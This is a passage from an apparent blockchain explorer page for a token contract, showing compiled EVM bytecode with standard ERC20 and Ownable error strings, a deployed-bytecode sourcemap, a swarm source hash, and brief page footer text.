02083013561121d8161114d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561127957816000190482111561125f5761125f611228565b8085161561126c57918102915b93841c9390800290611243565b509250929050565b600082611290575060016102ef565b8161129d575060006102ef565b81600181146112b357600281146112bd576112d9565b60019150506102ef565b60ff8411156112ce576112ce611228565b50506001821b6102ef565b5060208310610133831016604e8410600b84101617156112fc575081810a6102ef565b611306838361123e565b806000190482111561131a5761131a611228565b029392505050565b6000610d9f60ff841683611281565b600081600019048311821515161561134b5761134b611228565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561139a57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113c557600080fd5b8151610d9f8161114d565b6000828210156113e2576113e2611228565b500390565b60006000198214156113fb576113fb611228565b5060010190565b6000821982111561141557611415611228565b500190565b60008261143757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114a25784516001600160a01b03168352938301939183019160010161147d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef308b1bd5b110187c24a25886c17feff77583f3892d43a9907e4e4c52c8fe4b64736f6c634300080b0033
Deployed Bytecode Sourcemap
4039:7051:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5883:83;;;;;;;;;;-1:-1:-1;5953:5:0;;;;;;;;;;;;-1:-1:-1;;;5953:5:0;;;;5883:83;;;;;;;:::i;:::-;;;;;;;;6721:161;;;;;;;;;;-1:-1:-1;6721:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6721:161:0;1072:187:1;6160:98:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;6160:98:0;1264:177:1;6890:315:0;;;;;;;;;;-1:-1:-1;6890:315:0;;;;;:::i;:::-;;:::i;6069:83::-;;;;;;;;;;-1:-1:-1;6069:83:0;;4493:1;2049:36:1;;2037:2;2022:18;6069:83:0;1907:184:1;6266:120:0;;;;;;;;;;-1:-1:-1;6266:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;6359:19:0;6332:7;6359:19;;;:10;:19;;;;;;;6266:120;1433:148;;;;;;;;;;;;;:::i;:::-;;1219:79;;;;;;;;;;-1:-1:-1;1257:7:0;1284:6;1219:79;;-1:-1:-1;;;;;1284:6:0;;;2494:51:1;;2482:2;2467:18;1219:79:0;2348:203:1;5974:87:0;;;;;;;;;;-1:-1:-1;6046:7:0;;;;;;;;;;;;-1:-1:-1;;;6046:7:0;;;;5974:87;;6394:167;;;;;;;;;;-1:-1:-1;6394:167:0;;;;;:::i;:::-;;:::i;5566:309::-;;;;;;;;;;;;;:::i;6569:144::-;;;;;;;;;;-1:-1:-1;6569:144:0;;;;;:::i;:::-;-1:-1:-1;;;;;6677:19:0;;;6650:7;6677:19;;;:12;:19;;;;;;;;:28;;;;;;;;;;;;;6569:144;9598:302;;;;;;;;;;;;;:::i;6721:161::-;6796:4;6813:39;876:10;6836:7;6845:6;6813:8;:39::i;:::-;-1:-1:-1;6870:4:0;6721:161;;;;;:::o;6160:98::-;6213:7;4552:13;4493:1;4552:2;:13;:::i;:::-;4539:26;;:10;:26;:::i;:::-;6233:17;;6160:98;:::o;6890:315::-;6988:4;7005:36;7015:6;7023:9;7034:6;7005:9;:36::i;:::-;7053:122;7062:6;876:10;7084:90;7123:6;7084:90;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7084:20:0;;;;;;:12;:20;;;;;;;;876:10;7084:34;;;;;;;;;;:38;:90::i;:::-;7053:8;:122::i;:::-;-1:-1:-1;7193:4:0;6890:315;;;;;:::o;1433:148::-;1346:6;;-1:-1:-1;;;;;1346:6:0;876:10;1346:22;1338:67;;;;-1:-1:-1;;;1338:67:0;;;;;;;:::i;:::-;;;;;;;;;1540:1:::1;1524:6:::0;;1503:40:::1;::::0;-1:-1:-1;;;;;1524:6:0;;::::1;::::0;1503:40:::1;::::0;1540:1;;1503:40:::1;1571:1;1554:19:::0;;-1:-1:-1;;;;;;1554:19:0::1;::::0;;1433:148::o;6394:167::-;6472:4;6489:42;876:10;6513:9;6524:6;6489:9;:42::i;5566:309::-;1346:6;;-1:-1:-1;;;;;1346:6:0;876:10;1346:22;1338:67;;;;-1:-1:-1;;;1338:67:0;;;;;;;:::i;:::-;5630:13:::1;::::0;::::1;::::0;::::1;;;5629:14;5621:49;;;::::0;-1:-1:-1;;;5621:49:0;;5200:2:1;5621:49:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;5278:25;5258:18;;;5251:53;5321:18;;5621:49:0::1;4998:347:1::0;5621:49:0::1;5681:11;::::0;-1:-1:-1;;;;;5681:11:0::1;:27;5716:21;5747:4;5753:24;5747:4:::0;-1:-1:-1;;;;;6359:19:0;6332:7;6359:19;;;:10;:19;;;;;;;6266:120;5753:24:::1;5778:1;5780::::0;5782:7:::1;1257::::0;1284:6;-1:-1:-1;;;;;1284:6:0;;1219:79;5782:7:::1;5681:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5681:125:0;;;-1:-1:-1;;;;;5709:15:1;;;5681:125:0::1;::::0;::::1;5691:34:1::0;5741:18;;;5734:34;;;;5784:18;;;5777:34;;;;5827:18;;;5820:34;5891:15;;;5870:19;;;5863:44;5790:15:0::1;5923:19:1::0;;;5916:35;5625:19;;5681:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5817:12:0::1;:19:::0;;-1:-1:-1;;5847:20:0;;;;;-1:-1:-1;5566:309:0:o;9598:302::-;1346:6;;-1:-1:-1;;;;;1346:6:0;876:10;1346:22;1338:67;;;;-1:-1:-1;;;1338:67:0;;;;;;;:::i;:::-;9651:11:::1;:69:::0;;-1:-1:-1;;;;;;9651:69:0::1;9677:42;9651:69:::0;;::::1;::::0;;;9731:57:::1;::::0;9748:4:::1;::::0;4552:13:::1;4493:1;4552:2;:13;:::i;:::-;4539:26;::::0;:10:::1;:26;:::i;9731:57::-;9824:11;;;;;;;;;-1:-1:-1::0;;;;;9824:11:0::1;-1:-1:-1::0;;;;;9824:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9811:46:0::1;;9866:4;9873:11;;;;;;;;;-1:-1:-1::0;;;;;9873:11:0::1;-1:-1:-1::0;;;;;9873:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9811:81;::::0;-1:-1:-1;;;;;;9811:81:0::1;::::0;;;;;;-1:-1:-1;;;;;6759:15:1;;;9811:81:0::1;::::0;::::1;6741:34:1::0;6811:15;;6791:18;;;6784:43;6676:18;;9811:81:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9799:9;:93:::0;;-1:-1:-1;;;;;;9799:93:0::1;-1:-1:-1::0;;;;;9799:93:0;;;::::1;::::0;;;::::1;::::0;;9598:302::o;7213:336::-;-1:-1:-1;;;;;7306:19:0;;7298:68;;;;-1:-1:-1;;;7298:68:0;;7040:2:1;7298:68:0;;;7022:21:1;7079:2;7059:18;;;7052:30;7118:34;7098:18;;;7091:62;-1:-1:-1;;;7169:18:1;;;7162:34;7213:19;;7298:68:0;6838:400:1;7298:68:0;-1:-1:-1;;;;;7385:21:0;;7377:68;;;;-1:-1:-1;;;7377:68:0;;7445:2:1;7377:68:0;;;7427:21:1;7484:2;7464:18;;;7457:30;7523:34;7503:18;;;7496:62;-1:-1:-1;;;7574:18:1;;;7567:32;7616:19;;7377:68:0;7243:398:1;7377:68:0;-1:-1:-1;;;;;7456:19:0;;;;;;;:12;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7509:32;;1410:25:1;;;7509:32:0;;1383:18:1;7509:32:0;;;;;;;7213:336;;;:::o;7557:747::-;-1:-1:-1;;;;;7648:19:0;;7640:69;;;;-1:-1:-1;;;7640:69:0;;7848:2:1;7640:69:0;;;7830:21:1;7887:2;7867:18;;;7860:30;7926:34;7906:18;;;7899:62;-1:-1:-1;;;7977:18:1;;;7970:35;8022:19;;7640:69:0;7646:401:1;7640:69:0;-1:-1:-1;;;;;7728:19:0;;7720:67;;;;-1:-1:-1;;;7720:67:0;;8254:2:1;7720:67:0;;;8236:21:1;8293:2;8273:18;;;8266:30;8332:34;8312:18;;;8305:62;-1:-1:-1;;;8383:18:1;;;8376:33;8426:19;;7720:67:0;8052:399:1;7720:67:0;7814:1;7806:5;:9;7798:63;;;;-1:-1:-1;;;7798:63:0;;8658:2:1;7798:63:0;;;8640:21:1;8697:2;8677:18;;;8670:30;8736:34;8716:18;;;8709:62;-1:-1:-1;;;8787:18:1;;;8780:39;8836:19;;7798:63:0;8456:405:1;7798:63:0;7874:15;7892:38;7910:5;7917;7924;7892:17;:38::i;:::-;7874:56;-1:-1:-1;7946:11:0;;7943:163;;8018:4;7999:25;;;;:10;:25;;;;;;:38;;8029:7;7999:29;:38::i;:::-;7990:4;7971:25;;;;:10;:25;;;;;;;:66;;;;8055:39;;-1:-1:-1;;;;;8055:39:0;;;;;;;8086:7;1410:25:1;;1398:2;1383:18;;1264:177;8055:39:0;;;;;;;;7943:163;-1:-1:-1;;;;;8138:17:0;;;;;;:10;:17;;;;;;:28;;8160:5;8138:21;:28::i;:::-;-1:-1:-1;;;;;8118:17:0;;;;;;:10;:17;;;;;:48;8197:41;8219:18;:5;8229:7;8219:9;:18::i;:::-;-1:-1:-1;;;;;8197:17:0;;;;;;:10;:17;;;;;;;:21;:41::i;:::-;-1:-1:-1;;;;;8177:17:0;;;;;;;:10;:17;;;;;:61;;;;8254:42;;;8277:18;:5;8287:7;8277:9;:18::i;:::-;8254:42;;1410:25:1;;;1398:2;1383:18;8254:42:0;;;;;;;7629:675;7557:747;;;:::o;1945:190::-;2031:7;2067:12;2059:6;;;;2051:29;;;;-1:-1:-1;;;2051:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2091:9:0;2103:5;2107:1;2103;:5;:::i;:::-;2091:17;1945:190;-1:-1:-1;;;;;1945:190:0:o;8312:1278::-;8400:7;;8461;1257;1284:6;-1:-1:-1;;;;;1284:6:0;;1219:79;8461:7;-1:-1:-1;;;;;8452:16:0;:5;-1:-1:-1;;;;;8452:16:0;;;:36;;;;-1:-1:-1;1257:7:0;1284:6;-1:-1:-1;;;;;8472:16:0;;;1284:6;;8472:16;;8452:36;8448:996;;;8515:75;8586:3;8515:66;8536:15;;8526:9;;:25;8525:55;;8566:14;;8525:55;;;8553:12;;8525:55;8515:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8620:9;;8505:85;;-1:-1:-1;;;;;;8611:18:0;;;8620:9;;8611:18;:51;;;;-1:-1:-1;8650:11:0;;-1:-1:-1;;;;;8633:29:0;;;8650:11;;8633:29;;8611:51;:79;;;;-1:-1:-1;;;;;;8667:23:0;;;;;;:16;:23;;;;;;;;8666:24;8611:79;8607:131;;;8711:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8607:131;8766:9;;-1:-1:-1;;;;;8757:18:0;;;8766:9;;8757:18;:43;;;;-1:-1:-1;;;;;;8779:21:0;;8795:4;8779:21;;8757:43;8754:171;;;8831:78;8905:3;8831:69;8852:16;;8842:9;;:26;8841:58;;8884:15;;8841:58;;;8870:13;;8831:5;;:9;:69::i;:78::-;8821:88;;8754:171;8982:4;8941:20;6359:19;;;:10;:19;;;;;;9009:10;;;;9008:11;:33;;;;-1:-1:-1;9032:9:0;;-1:-1:-1;;;;;9023:18:0;;;9032:9;;9023:18;9008:33;:49;;;;-1:-1:-1;9045:12:0;;;;;;;9008:49;:83;;;;;9073:18;;9061:9;;:30;9008:83;9004:429;;;9130:13;;9115:12;:28;9112:112;;;9162:62;9179:44;9183:5;9190:32;9194:12;9208:13;;9190:3;:32::i;:::-;9179:3;:44::i;:::-;9162:16;:62::i;:::-;9272:21;9364:34;9376:21;9364:11;:34::i;:::-;9093:340;9004:429;8490:954;8448:996;9455:13;9470;9485;9502:24;9513:5;9520;9502:10;:24::i;:::-;9454:72;;;;;;9544:38;9553:5;9560;9567;9574:7;9544:8;:38::i;:::-;9537:45;8312:1278;-1:-1:-1;;;;;;;;8312:1278:0:o;1614:179::-;1672:7;;1704:5;1708:1;1704;:5;:::i;:::-;1692:17;;1733:1;1728;:6;;1720:46;;;;-1:-1:-1;;;1720:46:0;;9471:2:1;1720:46:0;;;9453:21:1;9510:2;9490:18;;;9483:30;9549:29;9529:18;;;9522:57;9596:18;;1720:46:0;9269:351:1;1720:46:0;1784:1;1614:179;-1:-1:-1;;;1614:179:0:o;1801:136::-;1859:7;1886:43;1890:1;1893;1886:43;;;;;;;;;;;;;;;;;:3;:43::i;2143:246::-;2201:7;2225:6;2221:47;;-1:-1:-1;2255:1:0;2248:8;;2221:47;2278:9;2290:5;2294:1;2290;:5;:::i;:::-;2278:17;-1:-1:-1;2323:1:0;2314:5;2318:1;2278:17;2314:5;:::i;:::-;:10;2306:56;;;;-1:-1:-1;;;2306:56:0;;10049:2:1;2306:56:0;;;10031:21:1;10088:2;10068:18;;;10061:30;10127:34;10107:18;;;10100:62;-1:-1:-1;;;10178:18:1;;;10171:31;10219:19;;2306:56:0;9847:397:1;2397:132:0;2455:7;2482:39;2486:1;2489;2482:39;;;;;;;;;;;;;;;;;:3;:39::i;10227:99::-;10284:7;10312:1;10310;:3;10309:9;;10317:1;10309:9;;;-1:-1:-1;10315:1:0;10227:99;-1:-1:-1;10227:99:0:o;10616:471::-;5208:10;:17;;-1:-1:-1;;5208:17:0;5221:4;5208:17;;;10718:16:::1;::::0;;10732:1:::1;10718:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10718:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10718:16:0::1;10694:40;;10763:4;10745;10750:1;10745:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10745:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10789:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10789:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10745:7;;10789:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10779:4;10784:1;10779:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10779:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10850:11:::1;::::0;10818:58:::1;::::0;10835:4:::1;::::0;10850:11:::1;10864::::0;10818:8:::1;:58::i;:::-;10887:11;::::0;:192:::1;::::0;-1:-1:-1;;;10887:192:0;;-1:-1:-1;;;;;10887:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10964:11;;10887::::1;::::0;11006:4;;11033::::1;::::0;11053:15:::1;::::0;10887:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5248:10:0;:18;;-1:-1:-1;;5248:18:0;;;-1:-1:-1;;;;10616:471:0:o;10334:101::-;10398:11;;10390:37;;-1:-1:-1;;;;;10398:11:0;;;;10390:37;;;;;10420:6;;10398:11;10390:37;10398:11;10390:37;10420:6;10398:11;10390:37;;;;;;;;;;;;;;;;;;;;;10334:101;:::o;9946:273::-;10094:9;10017:7;10077:27;;;:16;:27;;;;;;10017:7;;;;10077:27;;10115:51;;;;10142:5;10149:9;10160:5;10134:32;;;;;;;;;10115:51;-1:-1:-1;;10192:11:0;;10185:5;;-1:-1:-1;;;;;;10192:11:0;;-1:-1:-1;10205:5:0;9946:273;;;;;;:::o;10443:165::-;10537:7;10557:29;10566:5;10573;10580;10557:8;:29::i;:::-;-1:-1:-1;10595:5:0;10443:165;-1:-1:-1;;;10443:165:0:o;2537:189::-;2623:7;2658:12;2651:5;2643:28;;;;-1:-1:-1;;;2643:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2682:9:0;2694:5;2698:1;2694;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;5962:306::-;6050:6;6058;6066;6119:2;6107:9;6098:7;6094:23;6090:32;6087:52;;;6135:1;6132;6125:12;6087:52;6164:9;6158:16;6148:26;;6214:2;6203:9;6199:18;6193:25;6183:35;;6258:2;6247:9;6243:18;6237:25;6227:35;;5962:306;;;;;:::o;6273:251::-;6343:6;6396:2;6384:9;6375:7;6371:23;6367:32;6364:52;;;6412:1;6409;6402:12;6364:52;6444:9;6438:16;6463:31;6488:5;6463:31;:::i;8866:125::-;8906:4;8934:1;8931;8928:8;8925:34;;;8939:18;;:::i;:::-;-1:-1:-1;8976:9:1;;8866:125::o;8996:135::-;9035:3;-1:-1:-1;;9056:17:1;;9053:43;;;9076:18;;:::i;:::-;-1:-1:-1;9123:1:1;9112:13;;8996:135::o;9136:128::-;9176:3;9207:1;9203:6;9200:1;9197:13;9194:39;;;9213:18;;:::i;:::-;-1:-1:-1;9249:9:1;;9136:128::o;9625:217::-;9665:1;9691;9681:132;;9735:10;9730:3;9726:20;9723:1;9716:31;9770:4;9767:1;9760:15;9798:4;9795:1;9788:15;9681:132;-1:-1:-1;9827:9:1;;9625:217::o;10381:127::-;10442:10;10437:3;10433:20;10430:1;10423:31;10473:4;10470:1;10463:15;10497:4;10494:1;10487:15;10513:980;10775:4;10823:3;10812:9;10808:19;10854:6;10843:9;10836:25;10880:2;10918:6;10913:2;10902:9;10898:18;10891:34;10961:3;10956:2;10945:9;10941:18;10934:31;10985:6;11020;11014:13;11051:6;11043;11036:22;11089:3;11078:9;11074:19;11067:26;;11128:2;11120:6;11116:15;11102:29;;11149:1;11159:195;11173:6;11170:1;11167:13;11159:195;;;11238:13;;-1:-1:-1;;;;;11234:39:1;11222:52;;11329:15;;;;11294:12;;;;11270:1;11188:9;11159:195;;;-1:-1:-1;;;;;;;11410:32:1;;;;11405:2;11390:18;;11383:60;-1:-1:-1;;;11474:3:1;11459:19;11452:35;11371:3;10513:980;-1:-1:-1;;;10513:980:1:o
Swarm Source
ipfs://ef308b1bd5b110187c24a25886c17feff77583f3892d43a9907e4e4c52c8fe4b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.